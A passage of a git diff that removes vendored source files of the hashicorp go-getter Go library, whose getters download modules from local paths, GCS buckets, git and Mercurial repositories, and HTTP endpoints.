Get downloads the directory specified by src into the folder specified by -// dst. If dst already exists, Get will attempt to update it. -// -// src is a URL, whereas dst is always just a file path to a folder. This -// folder doesn't need to exist. It will be created if it doesn't exist. -func Get(dst, src string, opts ...ClientOption) error { - return (&Client{ - Src: src, - Dst: dst, - Dir: true, - Options: opts, - }).Get() -} - -// GetAny downloads a URL into the given destination. Unlike Get or -// GetFile, both directories and files are supported. -// -// dst must be a directory. If src is a file, it will be downloaded -// into dst with the basename of the URL. If src is a directory or -// archive, it will be unpacked directly into dst. -func GetAny(dst, src string, opts ...ClientOption) error { - return (&Client{ - Src: src, - Dst: dst, - Mode: ClientModeAny, - Options: opts, - }).Get() -} - -// GetFile downloads the file specified by src into the path specified by -// dst. -func GetFile(dst, src string, opts ...ClientOption) error { - return (&Client{ - Src: src, - Dst: dst, - Dir: false, - Options: opts, - }).Get() -} - -// getRunCommand is a helper that will run a command and capture the output -// in the case an error happens. -func getRunCommand(cmd *exec.Cmd) error { - var buf bytes.Buffer - cmd.Stdout = &buf - cmd.Stderr = &buf - err := cmd.Run() - if err == nil { - return nil - } - if exiterr, ok := err.(*exec.ExitError); ok { - // The program has exited with an exit code != 0 - if status, ok := exiterr.Sys().(syscall.WaitStatus); ok { - return fmt.Errorf( - "%s exited with %d: %s", - cmd.Path, - status.ExitStatus(), - buf.String()) - } - } - - return fmt.Errorf("error running %s: %s", cmd.Path, buf.String()) -} - -// getForcedGetter takes a source and returns the tuple of the forced -// getter and the raw URL (without the force syntax). -func getForcedGetter(src string) (string, string) { - var forced string - if ms := forcedRegexp.FindStringSubmatch(src); ms != nil { - forced = ms[1] - src = ms[2] - } - - return forced, src -} diff --git a/vendor/github.com/hashicorp/go-getter/get_base.go b/vendor/github.com/hashicorp/go-getter/get_base.go deleted file mode 100644 index 09e9b6313b..0000000000 --- a/vendor/github.com/hashicorp/go-getter/get_base.go +++ /dev/null @@ -1,20 +0,0 @@ -package getter - -import "context" - -// getter is our base getter; it regroups -// fields all getters have in common. -type getter struct { - client *Client -} - -func (g *getter) SetClient(c *Client) { g.client = c } - -// Context tries to returns the Contex from the getter's -// client. otherwise context.Background() is returned. -func (g *getter) Context() context.Context { - if g == nil || g.client == nil { - return context.Background() - } - return g.client.Ctx -} diff --git a/vendor/github.com/hashicorp/go-getter/get_file.go b/vendor/github.com/hashicorp/go-getter/get_file.go deleted file mode 100644 index 78660839a0..0000000000 --- a/vendor/github.com/hashicorp/go-getter/get_file.go +++ /dev/null @@ -1,36 +0,0 @@ -package getter - -import ( - "net/url" - "os" -) - -// FileGetter is a Getter implementation that will download a module from -// a file scheme. -type FileGetter struct { - getter - - // Copy, if set to true, will copy data instead of using a symlink. If - // false, attempts to symlink to speed up the operation and to lower the - // disk space usage. If the symlink fails, may attempt to copy on windows. - Copy bool -} - -func (g *FileGetter) ClientMode(u *url.URL) (ClientMode, error) { - path := u.Path - if u.RawPath != "" { - path = u.RawPath - } - - fi, err := os.Stat(path) - if err != nil { - return 0, err - } - - // Check if the source is a directory. - if fi.IsDir() { - return ClientModeDir, nil - } - - return ClientModeFile, nil -} diff --git a/vendor/github.com/hashicorp/go-getter/get_file_copy.go b/vendor/github.com/hashicorp/go-getter/get_file_copy.go deleted file mode 100644 index d70fb49512..0000000000 --- a/vendor/github.com/hashicorp/go-getter/get_file_copy.go +++ /dev/null @@ -1,29 +0,0 @@ -package getter - -import ( - "context" - "io" -) - -// readerFunc is syntactic sugar for read interface. -type readerFunc func(p []byte) (n int, err error) - -func (rf readerFunc) Read(p []byte) (n int, err error) { return rf(p) } - -// Copy is a io.Copy cancellable by context -func Copy(ctx context.Context, dst io.Writer, src io.Reader) (int64, error) { - // Copy will call the Reader and Writer interface multiple time, in order - // to copy by chunk (avoiding loading the whole file in memory). - return io.Copy(dst, readerFunc(func(p []byte) (int, error) { - - select { - case <-ctx.Done(): - // context has been canceled - // stop process and propagate "context canceled" error - return 0, ctx.Err() - default: - // otherwise just run default io.Reader implementation - return src.Read(p) - } - })) -} diff --git a/vendor/github.com/hashicorp/go-getter/get_file_unix.go b/vendor/github.com/hashicorp/go-getter/get_file_unix.go deleted file mode 100644 index c3b28ae517..0000000000 --- a/vendor/github.com/hashicorp/go-getter/get_file_unix.go +++ /dev/null @@ -1,103 +0,0 @@ -// +build !windows - -package getter - -import ( - "fmt" - "net/url" - "os" - "path/filepath" -) - -func (g *FileGetter) Get(dst string, u *url.URL) error { - path := u.Path - if u.RawPath != "" { - path = u.RawPath - } - - // The source path must exist and be a directory to be usable. - if fi, err := os.Stat(path); err != nil { - return fmt.Errorf("source path error: %s", err) - } else if !fi.IsDir() { - return fmt.Errorf("source path must be a directory") - } - - fi, err := os.Lstat(dst) - if err != nil && !os.IsNotExist(err) { - return err - } - - // If the destination already exists, it must be a symlink - if err == nil { - mode := fi.Mode() - if mode&os.ModeSymlink == 0 { - return fmt.Errorf("destination exists and is not a symlink") - } - - // Remove the destination - if err := os.Remove(dst); err != nil { - return err - } - } - - // Create all the parent directories - if err := os.MkdirAll(filepath.Dir(dst), 0755); err != nil { - return err - } - - return os.Symlink(path, dst) -} - -func (g *FileGetter) GetFile(dst string, u *url.URL) error { - ctx := g.Context() - path := u.Path - if u.RawPath != "" { - path = u.RawPath - } - - // The source path must exist and be a file to be usable. - if fi, err := os.Stat(path); err != nil { - return fmt.Errorf("source path error: %s", err) - } else if fi.IsDir() { - return fmt.Errorf("source path must be a file") - } - - _, err := os.Lstat(dst) - if err != nil && !os.IsNotExist(err) { - return err - } - - // If the destination already exists, it must be a symlink - if err == nil { - // Remove the destination - if err := os.Remove(dst); err != nil { - return err - } - } - - // Create all the parent directories - if err := os.MkdirAll(filepath.Dir(dst), 0755); err != nil { - return err - } - - // If we're not copying, just symlink and we're done - if !g.Copy { - return os.Symlink(path, dst) - } - - // Copy - srcF, err := os.Open(path) - if err != nil { - return err - } - defer srcF.Close() - - dstF, err := os.Create(dst) - if err != nil { - return err - } - defer dstF.Close() - - _, err = Copy(ctx, dstF, srcF) - return err -} diff --git a/vendor/github.com/hashicorp/go-getter/get_file_windows.go b/vendor/github.com/hashicorp/go-getter/get_file_windows.go deleted file mode 100644 index 24f1acb176..0000000000 --- a/vendor/github.com/hashicorp/go-getter/get_file_windows.go +++ /dev/null @@ -1,136 +0,0 @@ -// +build windows - -package getter - -import ( - "fmt" - "net/url" - "os" - "os/exec" - "path/filepath" - "strings" - "syscall" -) - -func (g *FileGetter) Get(dst string, u *url.URL) error { - ctx := g.Context() - path := u.Path - if u.RawPath != "" { - path = u.RawPath - } - - // The source path must exist and be a directory to be usable. - if fi, err := os.Stat(path); err != nil { - return fmt.Errorf("source path error: %s", err) - } else if !fi.IsDir() { - return fmt.Errorf("source path must be a directory") - } - - fi, err := os.Lstat(dst) - if err != nil && !os.IsNotExist(err) { - return err - } - - // If the destination already exists, it must be a symlink - if err == nil { - mode := fi.Mode() - if mode&os.ModeSymlink == 0 { - return fmt.Errorf("destination exists and is not a symlink") - } - - // Remove the destination - if err := os.Remove(dst); err != nil { - return err - } - } - - // Create all the parent directories - if err := os.MkdirAll(filepath.Dir(dst), 0755); err != nil { - return err - } - - sourcePath := toBackslash(path) - - // Use mklink to create a junction point - output, err := exec.CommandContext(ctx, "cmd", "/c", "mklink", "/J", dst, sourcePath).CombinedOutput() - if err != nil { - return fmt.Errorf("failed to run mklink %v %v: %v %q", dst, sourcePath, err, output) - } - - return nil -} - -func (g *FileGetter) GetFile(dst string, u *url.URL) error { - ctx := g.Context() - path := u.Path - if u.RawPath != "" { - path = u.RawPath - } - - // The source path must exist and be a directory to be usable. - if fi, err := os.Stat(path); err != nil { - return fmt.Errorf("source path error: %s", err) - } else if fi.IsDir() { - return fmt.Errorf("source path must be a file") - } - - _, err := os.Lstat(dst) - if err != nil && !os.IsNotExist(err) { - return err - } - - // If the destination already exists, it must be a symlink - if err == nil { - // Remove the destination - if err := os.Remove(dst); err != nil { - return err - } - } - - // Create all the parent directories - if err := os.MkdirAll(filepath.Dir(dst), 0755); err != nil { - return err - } - - // If we're not copying, just symlink and we're done - if !g.Copy { - if err = os.Symlink(path, dst); err == nil { - return err - } - lerr, ok := err.(*os.LinkError) - if !ok { - return err - } - switch lerr.Err { - case syscall.ERROR_PRIVILEGE_NOT_HELD: - // no symlink privilege, let's - // fallback to a copy to avoid an error. - break - default: - return err - } - } - - // Copy - srcF, err := os.Open(path) - if err != nil { - return err - } - defer srcF.Close() - - dstF, err := os.Create(dst) - if err != nil { - return err - } - defer dstF.Close() - - _, err = Copy(ctx, dstF, srcF) - return err -} - -// toBackslash returns the result of replacing each slash character -// in path with a backslash ('\') character. Multiple separators are -// replaced by multiple backslashes. -func toBackslash(path string) string { - return strings.Replace(path, "/", "\\", -1) -} diff --git a/vendor/github.com/hashicorp/go-getter/get_gcs.go b/vendor/github.com/hashicorp/go-getter/get_gcs.go deleted file mode 100644 index 6faa70f4fc..0000000000 --- a/vendor/github.com/hashicorp/go-getter/get_gcs.go +++ /dev/null @@ -1,172 +0,0 @@ -package getter - -import ( - "context" - "fmt" - "net/url" - "os" - "path/filepath" - "strings" - - "cloud.google.com/go/storage" - "google.golang.org/api/iterator" -) - -// GCSGetter is a Getter implementation that will download a module from -// a GCS bucket. -type GCSGetter struct { - getter -} - -func (g *GCSGetter) ClientMode(u *url.URL) (ClientMode, error) { - ctx := g.Context() - - // Parse URL - bucket, object, err := g.parseURL(u) - if err != nil { - return 0, err - } - - client, err := storage.NewClient(ctx) - if err != nil { - return 0, err - } - iter := client.Bucket(bucket).Objects(ctx, &storage.Query{Prefix: object}) - for { - obj, err := iter.Next() - if err != nil && err != iterator.Done { - return 0, err - } - - if err == iterator.Done { - break - } - if strings.HasSuffix(obj.Name, "/") { - // A directory matched the prefix search, so this must be a directory - return ClientModeDir, nil - } else if obj.Name != object { - // A file matched the prefix search and doesn't have the same name - // as the query, so this must be a directory - return ClientModeDir, nil - } - } - // There are no directories or subdirectories, and if a match was returned, - // it was exactly equal to the prefix search. So return File mode - return ClientModeFile, nil -} - -func (g *GCSGetter) Get(dst string, u *url.URL) error { - ctx := g.Context() - - // Parse URL - bucket, object, err := g.parseURL(u) - if err != nil { - return err - } - - // Remove destination if it already exists - _, err = os.Stat(dst) - if err != nil && !os.IsNotExist(err) { - return err - } - if err == nil { - // Remove the destination - if err := os.RemoveAll(dst); err != nil { - return err - } - } - - // Create all the parent directories - if err := os.MkdirAll(filepath.Dir(dst), 0755); err != nil { - return err - } - - client, err := storage.NewClient(ctx) - if err != nil { - return err - } - - // Iterate through all matching objects. - iter := client.Bucket(bucket).Objects(ctx, &storage.Query{Prefix: object}) - for { - obj, err := iter.Next() - if err != nil && err != iterator.Done { - return err - } - if err == iterator.Done { - break - } - - if !strings.HasSuffix(obj.Name, "/") { - // Get the object destination path - objDst, err := filepath.Rel(object, obj.Name) - if err != nil { - return err - } - objDst = filepath.Join(dst, objDst) - // Download the matching object. - err = g.getObject(ctx, client, objDst, bucket, obj.Name) - if err != nil { - return err - } - } - } - return nil -} - -func (g *GCSGetter) GetFile(dst string, u *url.URL) error { - ctx := g.Context() - - // Parse URL - bucket, object, err := g.parseURL(u) - if err != nil { - return err - } - - client, err := storage.NewClient(ctx) - if err != nil { - return err - } - return g.getObject(ctx, client, dst, bucket, object) -} - -func (g *GCSGetter) getObject(ctx context.Context, client *storage.Client, dst, bucket, object string) error { - rc, err := client.Bucket(bucket).Object(object).NewReader(ctx) - if err != nil { - return err - } - defer rc.Close() - - // Create all the parent directories - if err := os.MkdirAll(filepath.Dir(dst), 0755); err != nil { - return err - } - - f, err := os.Create(dst) - if err != nil { - return err - } - defer f.Close() - - _, err = Copy(ctx, f, rc) - return err -} - -func (g *GCSGetter) parseURL(u *url.URL) (bucket, path string, err error) { - if strings.Contains(u.Host, "googleapis.com") { - hostParts := strings.Split(u.Host, ".") - if len(hostParts) != 3 { - err = fmt.Errorf("URL is not a valid GCS URL") - return - } - - pathParts := strings.SplitN(u.Path, "/", 5) - if len(pathParts) != 5 { - err = fmt.Errorf("URL is not a valid GCS URL") - return - } - bucket = pathParts[3] - path = pathParts[4] - } - return -} diff --git a/vendor/github.com/hashicorp/go-getter/get_git.go b/vendor/github.com/hashicorp/go-getter/get_git.go deleted file mode 100644 index bb1ec316d3..0000000000 --- a/vendor/github.com/hashicorp/go-getter/get_git.go +++ /dev/null @@ -1,293 +0,0 @@ -package getter - -import ( - "context" - "encoding/base64" - "fmt" - "io/ioutil" - "net/url" - "os" - "os/exec" - "path/filepath" - "runtime" - "strconv" - "strings" - - urlhelper "github.com/hashicorp/go-getter/helper/url" - safetemp "github.com/hashicorp/go-safetemp" - version "github.com/hashicorp/go-version" -) - -// GitGetter is a Getter implementation that will download a module from -// a git repository. -type GitGetter struct { - getter -} - -func (g *GitGetter) ClientMode(_ *url.URL) (ClientMode, error) { - return ClientModeDir, nil -} - -func (g *GitGetter) Get(dst string, u *url.URL) error { - ctx := g.Context() - if _, err := exec.LookPath("git"); err != nil { - return fmt.Errorf("git must be available and on the PATH") - } - - // The port number must be parseable as an integer. If not, the user - // was probably trying to use a scp-style address, in which case the - // ssh:// prefix must be removed to indicate that. - // - // This is not necessary in versions of Go which have patched - // CVE-2019-14809 (e.g. Go 1.12.8+) - if portStr := u.Port(); portStr != "" { - if _, err := strconv.ParseUint(portStr, 10, 16); err != nil { - return fmt.Errorf("invalid port number %q; if using the \"scp-like\" git address scheme where a colon introduces the path instead, remove the ssh:// portion and use just the git:: prefix", portStr) - } - } - - // Extract some query parameters we use - var ref, sshKey string - var depth int - q := u.Query() - if len(q) > 0 { - ref = q.Get("ref") - q.Del("ref") - - sshKey = q.Get("sshkey") - q.Del("sshkey") - - if n, err := strconv.Atoi(q.Get("depth")); err == nil { - depth = n - } - q.Del("depth") - - // Copy the URL - var newU url.URL = *u - u = &newU - u.RawQuery = q.Encode() - } - - var sshKeyFile string - if sshKey != "" { - // Check that the git version is sufficiently new. - if err := checkGitVersion("2.3"); err != nil { - return fmt.Errorf("Error using ssh key: %v", err) - } - - // We have an SSH key - decode it. - raw, err := base64.StdEncoding.DecodeString(sshKey) - if err != nil { - return err - } - - // Create a temp file for the key and ensure it is removed. - fh, err := ioutil.TempFile("", "go-getter") - if err != nil { - return err - } - sshKeyFile = fh.Name() - defer os.Remove(sshKeyFile) - - // Set the permissions prior to writing the key material. - if err := os.Chmod(sshKeyFile, 0600); err != nil { - return err - } - - // Write the raw key into the temp file. - _, err = fh.Write(raw) - fh.Close() - if err != nil { - return err - } - } - - // Clone or update the repository - _, err := os.Stat(dst) - if err != nil && !os.IsNotExist(err) { - return err - } - if err == nil { - err = g.update(ctx, dst, sshKeyFile, ref, depth) - } else { - err = g.clone(ctx, dst, sshKeyFile, u, depth) - } - if err != nil { - return err - } - - // Next: check out the proper tag/branch if it is specified, and checkout - if ref != "" { - if err := g.checkout(dst, ref); err != nil { - return err - } - } - - // Lastly, download any/all submodules. - return g.fetchSubmodules(ctx, dst, sshKeyFile, depth) -} - -// GetFile for Git doesn't support updating at this time. It will download -// the file every time. -func (g *GitGetter) GetFile(dst string, u *url.URL) error { - td, tdcloser, err := safetemp.Dir("", "getter") - if err != nil { - return err - } - defer tdcloser.Close() - - // Get the filename, and strip the filename from the URL so we can - // just get the repository directly. - filename := filepath.Base(u.Path) - u.Path = filepath.Dir(u.Path) - - // Get the full repository - if err := g.Get(td, u); err != nil { - return err - } - - // Copy the single file - u, err = urlhelper.Parse(fmtFileURL(filepath.Join(td, filename))) - if err != nil { - return err - } - - fg := &FileGetter{Copy: true} - return fg.GetFile(dst, u) -} - -func (g *GitGetter) checkout(dst string, ref string) error { - cmd := exec.Command("git", "checkout", ref) - cmd.Dir = dst - return getRunCommand(cmd) -} - -func (g *GitGetter) clone(ctx context.Context, dst, sshKeyFile string, u *url.URL, depth int) error { - args := []string{"clone"} - - if depth > 0 { - args = append(args, "--depth", strconv.Itoa(depth)) - } - - args = append(args, u.String(), dst) - cmd := exec.CommandContext(ctx, "git", args...) - setupGitEnv(cmd, sshKeyFile) - return getRunCommand(cmd) -} - -func (g *GitGetter) update(ctx context.Context, dst, sshKeyFile, ref string, depth int) error { - // Determine if we're a branch. If we're NOT a branch, then we just - // switch to master prior to checking out - cmd := exec.CommandContext(ctx, "git", "show-ref", "-q", "--verify", "refs/heads/"+ref) - cmd.Dir = dst - - if getRunCommand(cmd) != nil { - // Not a branch, switch to master. This will also catch non-existent - // branches, in which case we want to switch to master and then - // checkout the proper branch later. - ref = "master" - } - - // We have to be on a branch to pull - if err := g.checkout(dst, ref); err != nil { - return err - } - - if depth > 0 { - cmd = exec.Command("git", "pull", "--depth", strconv.Itoa(depth), "--ff-only") - } else { - cmd = exec.Command("git", "pull", "--ff-only") - } - - cmd.Dir = dst - setupGitEnv(cmd, sshKeyFile) - return getRunCommand(cmd) -} - -// fetchSubmodules downloads any configured submodules recursively. -func (g *GitGetter) fetchSubmodules(ctx context.Context, dst, sshKeyFile string, depth int) error { - args := []string{"submodule", "update", "--init", "--recursive"} - if depth > 0 { - args = append(args, "--depth", strconv.Itoa(depth)) - } - cmd := exec.CommandContext(ctx, "git", args...) - cmd.Dir = dst - setupGitEnv(cmd, sshKeyFile) - return getRunCommand(cmd) -} - -// setupGitEnv sets up the environment for the given command. This is used to -// pass configuration data to git and ssh and enables advanced cloning methods. -func setupGitEnv(cmd *exec.Cmd, sshKeyFile string) { - const gitSSHCommand = "GIT_SSH_COMMAND=" - var sshCmd []string - - // If we have an existing GIT_SSH_COMMAND, we need to append our options. - // We will also remove our old entry to make sure the behavior is the same - // with versions of Go < 1.9. - env := os.Environ() - for i, v := range env { - if strings.HasPrefix(v, gitSSHCommand) && len(v) > len(gitSSHCommand) { - sshCmd = []string{v} - - env[i], env[len(env)-1] = env[len(env)-1], env[i] - env = env[:len(env)-1] - break - } - } - - if len(sshCmd) == 0 { - sshCmd = []string{gitSSHCommand + "ssh"} - } - - if sshKeyFile != "" { - // We have an SSH key temp file configured, tell ssh about this. - if runtime.GOOS == "windows" { - sshKeyFile = strings.Replace(sshKeyFile, `\`, `/`, -1) - } - sshCmd = append(sshCmd, "-i", sshKeyFile) - } - - env = append(env, strings.Join(sshCmd, " ")) - cmd.Env = env -} - -// checkGitVersion is used to check the version of git installed on the system -// against a known minimum version. Returns an error if the installed version -// is older than the given minimum. -func checkGitVersion(min string) error { - want, err := version.NewVersion(min) - if err != nil { - return err - } - - out, err := exec.Command("git", "version").Output() - if err != nil { - return err - } - - fields := strings.Fields(string(out)) - if len(fields) < 3 { - return fmt.Errorf("Unexpected 'git version' output: %q", string(out)) - } - v := fields[2] - if runtime.GOOS == "windows" && strings.Contains(v, ".windows.") { - // on windows, git version will return for example: - // git version 2.20.1.windows.1 - // Which does not follow the semantic versionning specs - // https://semver.org. We remove that part in order for - // go-version to not error. - v = v[:strings.Index(v, ".windows.")] - } - - have, err := version.NewVersion(v) - if err != nil { - return err - } - - if have.LessThan(want) { - return fmt.Errorf("Required git version = %s, have %s", want, have) - } - - return nil -} diff --git a/vendor/github.com/hashicorp/go-getter/get_hg.go b/vendor/github.com/hashicorp/go-getter/get_hg.go deleted file mode 100644 index 290649c910..0000000000 --- a/vendor/github.com/hashicorp/go-getter/get_hg.go +++ /dev/null @@ -1,135 +0,0 @@ -package getter - -import ( - "context" - "fmt" - "net/url" - "os" - "os/exec" - "path/filepath" - "runtime" - - urlhelper "github.com/hashicorp/go-getter/helper/url" - safetemp "github.com/hashicorp/go-safetemp" -) - -// HgGetter is a Getter implementation that will download a module from -// a Mercurial repository. -type HgGetter struct { - getter -} - -func (g *HgGetter) ClientMode(_ *url.URL) (ClientMode, error) { - return ClientModeDir, nil -} - -func (g *HgGetter) Get(dst string, u *url.URL) error { - ctx := g.Context() - if _, err := exec.LookPath("hg"); err != nil { - return fmt.Errorf("hg must be available and on the PATH") - } - - newURL, err := urlhelper.Parse(u.String()) - if err != nil { - return err - } - if fixWindowsDrivePath(newURL) { - // See valid file path form on http://www.selenic.com/hg/help/urls - newURL.Path = fmt.Sprintf("/%s", newURL.Path) - } - - // Extract some query parameters we use - var rev string - q := newURL.Query() - if len(q) > 0 { - rev = q.Get("rev") - q.Del("rev") - - newURL.RawQuery = q.Encode() - } - - _, err = os.Stat(dst) - if err != nil && !os.IsNotExist(err) { - return err - } - if err != nil { - if err := g.clone(dst, newURL); err != nil { - return err - } - } - - if err := g.pull(dst, newURL); err != nil { - return err - } - - return g.update(ctx, dst, newURL, rev) -} - -// GetFile for Hg doesn't support updating at this time. It will download -// the file every time. -func (g *HgGetter) GetFile(dst string, u *url.URL) error { - // Create a temporary directory to store the full source. This has to be - // a non-existent directory. - td, tdcloser, err := safetemp.Dir("", "getter") - if err != nil { - return err - } - defer tdcloser.Close() - - // Get the filename, and strip the filename from the URL so we can - // just get the repository directly. - filename := filepath.Base(u.Path) - u.Path = filepath.ToSlash(filepath.Dir(u.Path)) - - // If we're on Windows, we need to set the host to "localhost" for hg - if runtime.GOOS == "windows" { - u.Host = "localhost" - } - - // Get the full repository - if err := g.Get(td, u); err != nil { - return err - } - - // Copy the single file - u, err = urlhelper.Parse(fmtFileURL(filepath.Join(td, filename))) - if err != nil { - return err - } - - fg := &FileGetter{Copy: true, getter: g.getter} - return fg.GetFile(dst, u) -} - -func (g *HgGetter) clone(dst string, u *url.URL) error { - cmd := exec.Command("hg", "clone", "-U", u.String(), dst) - return getRunCommand(cmd) -} - -func (g *HgGetter) pull(dst string, u *url.URL) error { - cmd := exec.Command("hg", "pull") - cmd.Dir = dst - return getRunCommand(cmd) -} - -func (g *HgGetter) update(ctx context.Context, dst string, u *url.URL, rev string) error { - args := []string{"update"} - if rev != "" { - args = append(args, rev) - } - - cmd := exec.CommandContext(ctx, "hg", args...) - cmd.Dir = dst - return getRunCommand(cmd) -} - -func fixWindowsDrivePath(u *url.URL) bool { - // hg assumes a file:/// prefix for Windows drive letter file paths. - // (e.g. file:///c:/foo/bar) - // If the URL Path does not begin with a '/' character, the resulting URL - // path will have a file:// prefix. (e.g. file://c:/foo/bar) - // See http://www.selenic.com/hg/help/urls and the examples listed in - // http://selenic.com/repo/hg-stable/file/1265a3a71d75/mercurial/util.py#l1936 - return runtime.GOOS == "windows" && u.Scheme == "file" && - len(u.Path) > 1 && u.Path[0] != '/' && u.Path[1] == ':' -} diff --git a/vendor/github.com/hashicorp/go-getter/get_http.go b/vendor/github.com/hashicorp/go-getter/get_http.go deleted file mode 100644 index 7c4541c6e9..0000000000 --- a/vendor/github.com/hashicorp/go-getter/get_http.go +++ /dev/null @@ -1,322 +0,0 @@ -package getter - -import ( - "context" - "encoding/xml" - "fmt" - "io" - "net/http" - "net/url" - "os" - "path/filepath" - "strconv" - "strings" - - safetemp "github.com/hashicorp/go-safetemp" -) - -// HttpGetter is a Getter implementation that will download from an HTTP -// endpoint. -// -// For file downloads, HTTP is used directly. -// -// The protocol for downloading a directory from an HTTP endpoint is as follows: -// -// An HTTP GET request is made to the URL with the additional GET parameter -// "terraform-get=1". This lets you handle that scenario specially if you -// wish. The response must be a 2xx. -// -// First, a header is looked for "X-Terraform-Get" which should contain -// a source URL to download. -// -// If the header is not present, then a meta tag is searched for named -// "terraform-get" and the content should be a source URL. -// -// The source URL, whether from the header or meta tag, must be a fully -// formed URL. The shorthand syntax of "github.com/foo/bar" or relative -// paths are not allowed. -type HttpGetter struct { - getter - - // Netrc, if true, will lookup and use auth information found - // in the user's netrc file if available. - Netrc bool - - // Client is the http.Client to use for Get requests. - // This defaults to a cleanhttp.DefaultClient if left unset. - Client *http.Client - - // Header contains optional request header fields that should be included - // with every HTTP request. Note that the zero value of this field is nil, - // and as such it needs to be initialized before use, via something like - // make(http.Header). - Header http.Header -} - -func (g *HttpGetter) ClientMode(u *url.URL) (ClientMode, error) { - if strings.HasSuffix(u.Path, "/") { - return ClientModeDir, nil - } - return ClientModeFile, nil -} - -func (g *HttpGetter) Get(dst string, u *url.URL) error { - ctx := g.Context() - // Copy the URL so we can modify it - var newU url.URL = *u - u = &newU - - if g.Netrc { - // Add auth from netrc if we can - if err := addAuthFromNetrc(u); err != nil { - return err - } - } - - if g.Client == nil { - g.Client = httpClient - } - - // Add terraform-get to the parameter. - q := u.Query() - q.Add("terraform-get", "1") - u.RawQuery = q.Encode() - - // Get the URL - req, err := http.NewRequest("GET", u.String(), nil) - if err != nil { - return err - } - - req.Header = g.Header - resp, err := g.Client.Do(req) - if err != nil { - return err - } - - defer resp.Body.Close() - if resp.StatusCode < 200 || resp.StatusCode >= 300 { - return fmt.Errorf("bad response code: %d", resp.StatusCode) - } - - // Extract the source URL - var source string - if v := resp.Header.Get("X-Terraform-Get"); v != "" { - source = v - } else { - source, err = g.parseMeta(resp.Body) - if err != nil { - return err - } - } - if source == "" { - return fmt.Errorf("no source URL was returned") - } - - // If there is a subdir component, then we download the root separately - // into a temporary directory, then copy over the proper subdir. - source, subDir := SourceDirSubdir(source) - if subDir == "" { - var opts []ClientOption - if g.client != nil { - opts = g.client.Options - } - return Get(dst, source, opts...) - } - - // We have a subdir, time to jump some hoops - return g.getSubdir(ctx, dst, source, subDir) -} - -func (g *HttpGetter) GetFile(dst string, src *url.URL) error { - ctx := g.Context() - if g.Netrc { - // Add auth from netrc if we can - if err := addAuthFromNetrc(src); err != nil { - return err - } - } - - // Create all the parent directories if needed - if err := os.MkdirAll(filepath.Dir(dst), 0755); err != nil { - return err - } - - f, err := os.OpenFile(dst, os.O_RDWR|os.O_CREATE, os.FileMode(0666)) - if err != nil { - return err - } - defer f.Close() - - if g.Client == nil { - g.Client = httpClient - } - - var currentFileSize int64 - - // We first make a HEAD request so we can check - // if the server supports range queries. If the server/URL doesn't - // support HEAD requests, we just fall back to GET. - req, err := http.NewRequest("HEAD", src.String(), nil) - if err != nil { - return err - } - if g.Header != nil { - req.Header = g.Header - } - headResp, err := g.Client.Do(req) - if err == nil && headResp != nil { - headResp.Body.Close() - if headResp.StatusCode == 200 { - // If the HEAD request succeeded, then attempt to set the range - // query if we can. - if headResp.Header.Get("Accept-Ranges") == "bytes" { - if fi, err := f.Stat(); err == nil { - if _, err = f.Seek(0, os.SEEK_END); err == nil { - req.Header.Set("Range", fmt.Sprintf("bytes=%d-", fi.Size())) - currentFileSize = fi.Size() - totalFileSize, _ := strconv.ParseInt(headResp.Header.Get("Content-Length"), 10, 64) - if currentFileSize >= totalFileSize { - // file already present - return nil - } - } - } - } - } - } - req.Method = "GET" - - resp, err := g.Client.Do(req) - if err != nil { - return err - } - switch resp.StatusCode { - case http.StatusOK, http.StatusPartialContent: - // all good - default: - resp.Body.Close() - return fmt.Errorf("bad response code: %d", resp.StatusCode) - } - - body := resp.Body - - if g.client != nil && g.client.ProgressListener != nil { - // track download - fn := filepath.Base(src.EscapedPath()) - body = g.client.ProgressListener.TrackProgress(fn, currentFileSize, currentFileSize+resp.ContentLength, resp.Body) - } - defer body.Close() - - n, err := Copy(ctx, f, body) - if err == nil && n < resp.ContentLength { - err = io.ErrShortWrite - } - return err -} - -// getSubdir downloads the source into the destination, but with -// the proper subdir. -func (g *HttpGetter) getSubdir(ctx context.Context, dst, source, subDir string) error { - // Create a temporary directory to store the full source. This has to be - // a non-existent directory. - td, tdcloser, err := safetemp.Dir("", "getter") - if err != nil { - return err - } - defer tdcloser.Close() - - var opts []ClientOption - if g.client != nil { - opts = g.client.Options - } - // Download that into the given directory - if err := Get(td, source, opts...); err != nil { - return err - } - - // Process any globbing - sourcePath, err := SubdirGlob(td, subDir) - if err != nil { - return err - } - - // Make sure the subdir path actually exists - if _, err := os.Stat(sourcePath); err != nil { - return fmt.Errorf( - "Error downloading %s: %s", source, err) - } - - // Copy the subdirectory into our actual destination. - if err := os.RemoveAll(dst); err != nil { - return err - } - - // Make the final destination - if err := os.MkdirAll(dst, 0755); err != nil { - return err - } - - return copyDir(ctx, dst, sourcePath, false) -} - -// parseMeta looks for the first meta tag in the given reader that -// will give us the source URL. -func (g *HttpGetter) parseMeta(r io.Reader) (string, error) { - d := xml.NewDecoder(r) - d.CharsetReader = charsetReader - d.Strict = false - var err error - var t xml.Token - for { - t, err = d.Token() - if err != nil { - if err == io.EOF { - err = nil - } - return "", err - } - if e, ok := t.(xml.StartElement); ok && strings.EqualFold(e.Name.Local, "body") { - return "", nil - } - if e, ok := t.(xml.EndElement); ok && strings.EqualFold(e.Name.Local, "head") { - return "", nil - } - e, ok := t.(xml.StartElement) - if !ok || !strings.EqualFold(e.Name.Local, "meta") { - continue - } - if attrValue(e.Attr, "name") != "terraform-get" { - continue - } - if f := attrValue(e.Attr, "content"); f != "" { - return f, nil - } - } -} - -// attrValue returns the attribute value for the case-insensitive key -// `name', or the empty string if nothing is found. -func attrValue(attrs []xml.Attr, name string) string { - for _, a := range attrs { - if strings.EqualFold(a.Name.Local, name) { - return a.Value - } - } - return "" -} - -// charsetReader returns a reader for the given charset. Currently -// it only supports UTF-8 and ASCII. Otherwise, it returns a meaningful -// error which is printed by go get, so the user can find why the package -// wasn't downloaded if the encoding is not supported. Note that, in -// order to reduce potential errors, ASCII is treated as UTF-8 (i.e. characters -// greater than 0x7f are not rejected). -func charsetReader(charset string, input io.Reader) (io.Reader, error) { - switch strings.ToLower(charset) { - case "ascii": - return input, nil - default: - return nil, fmt.Errorf("can't decode XML document using charset %q", charset) - } -} diff --git a/vendor/github.com/hashicorp/go-getter/get_mock.go b/vendor/github.com/hashicorp/go-getter/get_mock.go deleted file mode 100644 index e2a98ea284..0000000000 --- a/vendor/github.com/hashicorp/go-getter/get_mock.go +++ /dev/null @@ -1,54 +0,0 @@ -package getter - -import ( - "net/url" -) - -// MockGetter is an implementation of Getter that can be used for tests. -type MockGetter struct { - getter - - // 